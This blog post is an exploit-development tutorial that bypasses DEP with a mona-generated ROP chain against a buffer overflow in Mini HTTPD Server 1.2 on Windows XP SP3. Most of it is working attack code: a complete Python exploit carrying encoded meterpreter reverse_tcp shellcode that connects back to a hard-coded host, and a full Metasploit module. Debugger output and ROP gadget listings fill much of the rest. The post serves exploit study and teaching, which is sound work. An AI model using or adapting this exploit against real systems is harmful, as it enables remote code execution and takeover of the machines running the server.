DEP Bypass: Mini HTTPD Server 1.2

In my “Writing exploit on win32 from scratch: Mini HTTPD Server 1.2” blog post, I pointed that we were working on a Windows SP SP3 box with no DEP (data execution prevention). That’s not real, Windows XP SP3 has DEP, but by default it is configured in “OptIn” that means only the processes and services on the list has DEP activated (usually OS processes). For this post we are going to change that configuration to “OptOut” that means DEP is allways On except for the processes that we put in the list.

So we go to “System Properties”, on “Advanced” tab we push the “Settings” button in the “Performance” area. On “Performance Options” we select the option “Turn on DEP for all programs and services except those I select” and apply changes. After a reboot, the system will be in “OptOut” configuration.
Here a screenshot of the configuration screen:

dep1

Once rebooted, we launch our exploit and…

dep2

We don’t get a shell.
Let’s see what happened on the debugger.

We start “Immunity Debugger” and attach to “minihttpd” process. Then execute the exploit again.

dep3

We got an access violation on 0x00C8DC6C, just where we put the “opcodes” in charge of moving ESP away and made a jump backward.
In our other exploit those “opcodes” work fine so Why we get an access violation?
That’s because of DEP, that doesn’t allow to execute code in the stack.

To solve this, we can use the “return to libc” thechnique, simply look in memory for pointers to instructions we want to execute followed by a “RET” instruction to chain all the instructions on the Stack.
This technique is known as ROP (Return oriented programming), the set of instructions referenced by the pointers are known as “Rop Gadgets” and the set of pointers to that instructions is the “Rop Chain”.

A little bit of ROP theory:

EIP is the instruction pointer and its value is the address of the following instruction being execute.
A RET instruction just pop the top value on the stack and load it in EIP, then the value on the top of stack (pointed by ESP) will be the next instruction to call.
I we overwrite EIP with a pointer to “RET” instruction and put on the stack a set of pointers to instructions that ends with a RET, we manage to chain all that instructions to perform the actions we want (take note that instructions like “push” or “pop” modify the stack, so it need to be set up properly).Here is an example of how ROP works:dep4We overwrite EIP with address 0x77c46027 (pop ecx, ret). Then we set up the stack to make sure the “pop ecx” instruction pop the “0xffffffff” value to ECX and the RET, gets the pointer to next instructions to execute.This is the stack after execute those instructions.dep5We are ready to execute next instruction in the chain.

Using ROP we can try to make an entire shellcode if we find enough gadgets to it, but this very often is not possible. Luckily Windows offers some API calls that makes our life easy. Using that API functions we can change the protection mode of a piece of memory or even allocate more memory for the process making it to be executable. Once achieved, we can put our shellcode in that piece of memory and execute it.
There are many API functions we can use depending on Windows version, but the most reliable cause work in more Windows versions are “VirtualAlloc” and “VirtualProtect”.
“VirtualAlloc” description can be found at http://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx. VirtualAlloc reserves or commits a region of pages in the virtual address space of the calling process.

dep6-virtualalloc

The parameters are the starting address of the region to allocate, the size of the region in bytes, the type of allocation, and the memory protection for that region.
If we put “0x40” (PAGE_EXECUTE_READWRITE) in the last parameter, we could execute code on that memory region.

“VirtualProtect” description can be found at http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx. VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process.

dep7-virtualprotect

Here we pass a pointer to an address that describes the starting of the region, the size in bytes of the region whose protection attributes are to be changed, the type of protection desired (0x40) and a pointer to a variable that receives the current protection value. I this parameter is “null” or point to a non valid address the function fails.

After the theory about ROP and Windows API functions, let’s see how to use this to write an exploit with the help of “mona”, the plug-in that makes the life of the exploiter easy.

We call “!mona rop” on “Immunity Debugger” creating the files “rop.txt”, “rop_chains.txt”, “rop_suggestions.txt” and “stackpivot.txt” at “c:\logs\minihttpd\” (remember to configure working folder on mona).

In “rop_chains.txt” you can find some ready to use functions to make a “rop chain” calling “VirtualAlloc” or “VirtualProtect” to change the protection of the stack. You are going to need this on your exploit, and mona gives it to you in the form of “python” or “Ruby”, etc functions.

This is the “Ruby” function generated by mona to use “Virtualalloc” in our exploit.

[code]
def create_rop_chain()
# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x0040ae28,  # POP EAX # RETN [minihttpd.exe]
0x0041a140,  # ptr to &VirtualAlloc() [IAT minihttpd.exe]
0x0040fb5f,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [minihttpd.exe]
0x004176cf,  # PUSH EAX # POP ESI # RETN 0x04 [minihttpd.exe]
0x00406a6b,  # POP EBP # RETN [minihttpd.exe]
0x41414141,  # Filler (RETN offset compensation)
0x004165ec,  # & push esp # ret 0x0c [minihttpd.exe]
0x0040a5cd,  # POP EBX # RETN [minihttpd.exe]
0x00000001,  # 0x00000001-> ebx
0x00418ffc,  # POP EBX # RETN [minihttpd.exe]
0x00001000,  # 0x00001000-> edx
0x0040c93c,  # XOR EDX,EDX # RETN [minihttpd.exe]
0x0040aeae,  # ADD EDX,EBX # POP EBX # RETN 0x10 [minihttpd.exe]
0x41414141,  # Filler (compensate)
0x00406f90,  # POP ECX # RETN [minihttpd.exe]
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x41414141,  # Filler (RETN offset compensation)
0x00000040,  # 0x00000040-> ecx
0x00408cf0,  # POP EDI # RETN [minihttpd.exe]
0x00403f01,  # RETN (ROP NOP) [minihttpd.exe]
0x0040864f,  # POP EAX # RETN [minihttpd.exe]
0x90909090,  # nop
0x00418b61,  # PUSHAD # ADD AL,0 # RETN [minihttpd.exe]
].flatten.pack("V*")
return rop_gadgets
end
[/code]

As we can see, this chain does not work for us due to “bad chars”. To stript out “bad chars” we use mona with the following command.

[code]!mona rop -cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'[/code]

After this, “rop_chains.txt” is empty, cause mona did not find any valid gadget that meet the “bad chars” requirements.
By default mona exclude OS modules on the search, but we can force it to use the module we want. Let’s use “msvcrt.dll” to search for gadgets.

We call:

[code]!mona rop -cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’ –m msvcrt.dll[/code]

And now we find this in “rop_chains.txt”:

[code]
def create_rop_chain()
# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
].flatten.pack("V*")
return rop_gadgets
end
[/code]

Now we have a valid ROP chain that calls “VirtualAlloc” to make the “stack” executable.

We have to remember that in our previous exploit we use a pointer to “jmp esp” instruction to overwrite EIP. Now in ESP we don’t have code to execute, we have pointers to instructions so we need to overwrite EIP with a “RET” instruction.

Looking at “rop.txt” generated with “!mona rop –cpb ‘\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’” we can find some “pop ret” instructions. We choose the address “0x77c46027” from “msvcrt.dll”.

0x77c46027 : # POP ECX # RETN ** [msvcrt.dll] ** | {PAGE_EXECUTE_READ}

When those instructions get executed, this is what is going to happen:

  • POP ECX: will pop the value pointed by ESP (top of stack) and store it on ECX register.
  • RET: will pop the next value (now pointed by ESP) and store it on EIP. On next step execution will jump to the instruction pointed by EIP.

So if we overwrite EIP with “0x77c46027”, next we have to put four bytes of padding to pass the “pop ecx” instruction, and next to it the following value in our “rop chain”.

Our buffer would look like this:

967 bytes EIP 4 bytes ROP
AAAA…AAAA 0x77c46027 BBBB 0x…

In our previous exploit, we use a 335 bytes space to store our shellcode. Now let’s see if we can find move available space.

Create a 967 bytes unique pattern put it at the start of the buffer and send it to “minihttpd” attached to “Immunity Debugger”.

Here is the code of the exploit with the pattern:

[code]
import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’
# Shellcode max size 335 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack(‘<I’, 0x77c46027) # POP ECX, RET (msvcrt.dll)
JMP = ‘\x81\xc4\x10\xfa\xff\xff’ # add esp,-5F0h move ESP away
JMP += ‘\xe9\x46\xfe\xff\xff’ # jmp $-437 Jump back to shellcode

# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1B"

buffer = pattern
buffer += ‘A’ * (offset_eip – len(buffer))
buffer += EIP
buffer += ‘\xff\xff\xff\xff’ # value poped to ECX (padding)
buffer += rop
buffer += JMP
buffer += ‘E’ * (1500 – len(buffer))
HOST = ‘127.0.0.1’
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
print "Sending "+str(len(req))+" bytes."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print ‘Received’, repr(data)
[/code]

We got an access violation as espected. From “Immunity Debugger” execute “!mona findmsp”.

Here is a piece of “findmsp.txt” file.

[+] Examining stack (entire stack) – looking for cyclic pattern
Walking stack from 0x00c8c000 to 0x00cafffc (0x00023ffc bytes)
0x00c8d898 : Contains normal cyclic pattern at ESP-0x430 (-1072) : offset 632, length 335 (-> 0x00c8d9e6 : ESP-0x2e1)
0x00c8dc04 : Contains normal cyclic pattern at ESP-0xc4 (-196) : offset 867, length 60 (-> 0x00c8dc3f : ESP-0x88)
0x00c8dcec : Contains normal cyclic pattern at ESP+0x24 (+36) : offset 103, length 864 (-> 0x00c8e04b : ESP+0x384)
0x00c8e3dc : Contains normal cyclic pattern at ESP+0x714 (+1812) : offset 866, length 101 (-> 0x00c8e440 : ESP+0x779)
0x00c8e4c4 : Contains normal cyclic pattern at ESP+0x7fc (+2044) : offset 630, length 337 (-> 0x00c8e614 : ESP+0x94d)
0x00c8e834 : Contains normal cyclic pattern at ESP+0xb6c (+2924) : offset 869, length 98 (-> 0x00c8e895 : ESP+0xbce)
0x00c8e91c : Contains normal cyclic pattern at ESP+0xc54 (+3156) : offset 105, length 862 (-> 0x00c8ec79 : ESP+0xfb2)
0x00c8eea4 : Contains normal cyclic pattern at ESP+0x11dc (+4572) : offset 269, length 698 (-> 0x00c8f15d : ESP+0x1496)
0x00c8f570 : Contains normal cyclic pattern at ESP+0x18a8 (+6312) : offset 725, length 242 (-> 0x00c8f661 : ESP+0x199a)
0x00c8f88c : Contains normal cyclic pattern at ESP+0x1bc4 (+7108) : offset 269, length 698 (-> 0x00c8fb45 : ESP+0x1e7e)

There are two lines marked in bold. First one is the space we use in our previous exploit, with just 335 bytes of space. To achieve this space we had to do a jump backwards. Second one is another location with 864 bytes length, and we just need a short jump to achieve it.

So, let’s modify our Python exploit, add the “rop chain”, the new address to overwrite EIP, the shellcode at a 103 bytes offset from the start of the buffer and the “opcodes” for the new jump needed to execute the shellcode.

To figure the “opcodes” needed for the jump, we use “metasm_shell.rb”.

dep8

Here is the new exploit:

[code]
import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f’
# Shellcode max size 864 bytes.
offset_eip = 967
offset_shellcode = 103
EIP = struct.pack(‘<I’, 0x77c46027) # POP ECX, RET (msvcrt.dll)
#JMP = ‘\x81\xc4\x10\xfa\xff\xff’ # add esp,-5F0h move ESP away
JMP = ‘\xeb\x22’ # jmp $+0x24 Jump to shellcode
buffer = ‘A’ * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = ( "\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9" )

def create_rop_chain():
# rop chain generated with mona.py – www.corelan.be
rop_gadgets = [
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
]
return ».join(struct.pack(‘<I’, _) for _ in rop_gadgets)

rop = create_rop_chain()
buffer += shellcode
buffer += ‘A’ * (offset_eip – len(buffer))
buffer += EIP
buffer += ‘\xff\xff\xff\xff’ # value poped to ECX (padding)
buffer += rop
buffer += JMP
buffer += ‘E’ * (1500 – len(buffer))
HOST = ‘127.0.0.1’
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
print "Sending "+str(len(req))+" bytes."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print ‘Received’, repr(data)
[/code]

And here is the Metasploit module:

[code]
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize super( ‘Name’ => ‘Mini HTTPD Server 1.2 Exploit’,
‘Description’ => ‘This module sends a crafted url to exploit a buffer overflow error’,
‘Author’ => ‘h4rds3c’,
‘Payload’ => {‘Space’ => 700, ‘BadChars’ => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"},
‘Targets’ =>
[
[‘Win XP Sp3 English’,
{
‘Ret’ => 0x77c46027, # POP ECX # RETN ** [msvcrt.dll] **
‘OffSet’ => 967,
}
]
],
‘Platform’ => ‘windows’,
)
register_options( [
Opt::RPORT(80)
], self.class)
end

def create_rop_chain()

# rop chain generated with mona.py – www.corelan.be
rop_gadgets =
[
0x77c3ba0f, # POP EBP # RETN [msvcrt.dll]
0x77c3ba0f, # skip 4 bytes [msvcrt.dll]
0x77c39ede, # POP EBX # RETN [msvcrt.dll]
0xffffffff, #
0x77c127e1, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c4ded4, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c479d8, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x5ad71244, # ptr to &VirtualAlloc() (skipped module criteria, check if pointer is reliable !) [IAT uxtheme.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to ‘push esp # ret ‘ [msvcrt.dll]
].flatten.pack("V*")

return rop_gadgets

end

# Connect to port, send the payload, handle it, disconnect
def exploit
offset_shellcode = 103
size = 1500

jmp_code = "\xeb\x22" # jmp $+0x24

buffer = ‘A’ * offset_shellcode # Padding before the payload
buffer << payload.encoded # Payload from Mestasploit.
buffer << ‘A’ * (target[‘OffSet’]-buffer.length) # Padding until EIP overwrite
buffer << [target.ret].pack(‘V’) # 0x77c46027 : # POP ECX, RET (msvcrt.dll)
buffer << "\xff\xff\xff\xff" # value to pop on ECX (padding)
buffer << create_rop_chain()
buffer << jmp_code
buffer << ‘A’ * (size-buffer.length) # Padding until buffer size

print_status("total buffer size: "+buffer.length.to_s)
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
connect()
print_status("Sending evil buffer…("+req.length.to_s+" bytes)")
sock.put(req)
handler()
disconnect()
end
end
[/code]

Here, how it works.
Attacker:

dep10

Victim:

dep11

Note: The Metasploit module was failing at first, and watching it on the debugger all seems to be ok until we got the shellcode execution. In this point the exploit fail. As the unique difference between Python version and Metasploit version was the size of the payload, I tried with different payload sizes, and with 800 bytes payload the exploit still failed, but with a 700 bytes payload the exploit work in a reliable manner.

If anyone who read this post knows the reason for that, please feel invited to leave a comment or contact me directly by email. I would really appreciate it.

I hope you enjoy the post. See you.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*